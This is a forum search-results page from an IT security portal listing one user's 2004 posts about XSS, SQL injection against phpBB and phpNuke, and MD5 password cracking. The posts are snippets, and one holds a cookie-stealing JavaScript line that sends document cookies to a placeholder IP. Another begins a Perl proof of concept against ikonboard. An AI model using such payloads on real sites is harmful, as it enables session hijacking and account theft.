Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
April 26, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 880
Members: 0
Total: 880
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index
Search found 9 matches
escaping single quotes
PostForum: Cross-site scripting aka XSS   Posted: Wed Dec 08, 2004 9:53 pm   Subject: escaping single quotes
chiche
 
Replies: 3
Views: 9021




argentino:
lo que queria era escapar de alguna forma las comillas simples para poder ejecutar codigo javascript en el foro con mi direccion:

document.location= 'XX.XX.XX.XX/algo.php?cookie=' + win ...
escaping single quotes
PostForum: Cross-site scripting aka XSS   Posted: Tue Dec 07, 2004 8:47 pm   Subject: escaping single quotes
chiche
 
Replies: 3
Views: 9021




Hello.
Im trying to escape single quotes in phpbb.
I tried String.fromCharCode() without luck.
I was also thinking in <script src = '...
but it use quotes too.
Any new idea?
sql prefix table
PostForum: Sql injection   Posted: Fri Dec 03, 2004 6:19 pm   Subject: sql prefix table
chiche
 
Replies: 5
Views: 12159




maybe u are rigth about the version.
i didnt know if u dont use the upgrate script, the programa version dont change.
whatabaout 2.0.11, any vuln has been made public at the moment?
proof of concept for ikonboard writen in perl.
PostForum: Perl   Posted: Fri Dec 03, 2004 4:58 pm   Subject: proof of concept for ikonboard writen in perl.
chiche
 
Replies: 0
Views: 11418




I found a proof of concept for ikonboard:

#!/usr/bin/perl -w
use strict;

my $HOST = 'www.example.com';
my $PORT = 80;
my $PATH = '/cgi-bin/ikonboard.cgi';
my $HEAD = qq|"Content-type: text/p ...
sql prefix table
PostForum: Sql injection   Posted: Thu Dec 02, 2004 5:22 pm   Subject: sql prefix table
chiche
 
Replies: 5
Views: 12159




testing again i can see that your code works for phpbb 2.0.8 but dont work for 2.0.10.
works fine in 2.0.8, nice work, thanx.
if u have any idea about 2.0.10 please let me know, thanx.
sql prefix table
PostForum: Sql injection   Posted: Thu Dec 02, 2004 5:02 pm   Subject: sql prefix table
chiche
 
Replies: 5
Views: 12159




im testing it but this only work in your example.
do i have to change anithing?
sql prefix table
PostForum: Sql injection   Posted: Wed Dec 01, 2004 9:04 pm   Subject: sql prefix table
chiche
 
Replies: 5
Views: 12159




hello again forum.
here is my question ...
is there a way to obtain the preffix of an sql table for example to make a proof of concept for example for a phpBB forum.
If the instalation is standard ...
phpnuke sql injections
PostForum: Newbies corner   Posted: Wed Nov 24, 2004 5:59 pm   Subject: phpnuke sql injections
chiche
 
Replies: 1
Views: 7007




Hi again forum.
I learned to program my own cookies so i make work some proff of concept from this page.
Now i am with phpnuke and the sql injections on it.
In several sites i get the following dat ...
after getting the md5 password
PostForum: Newbies corner   Posted: Tue Nov 23, 2004 8:23 pm   Subject: after getting the md5 password
chiche
 
Replies: 1
Views: 7546




Hello people, this is my firt post at the forum.
In the last time i have been testing diferents exploits related to sql injection and similar stuff becouse im intresting in the security of web aplica ...
Page 1 of 1
All times are GMT
  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.239 Seconds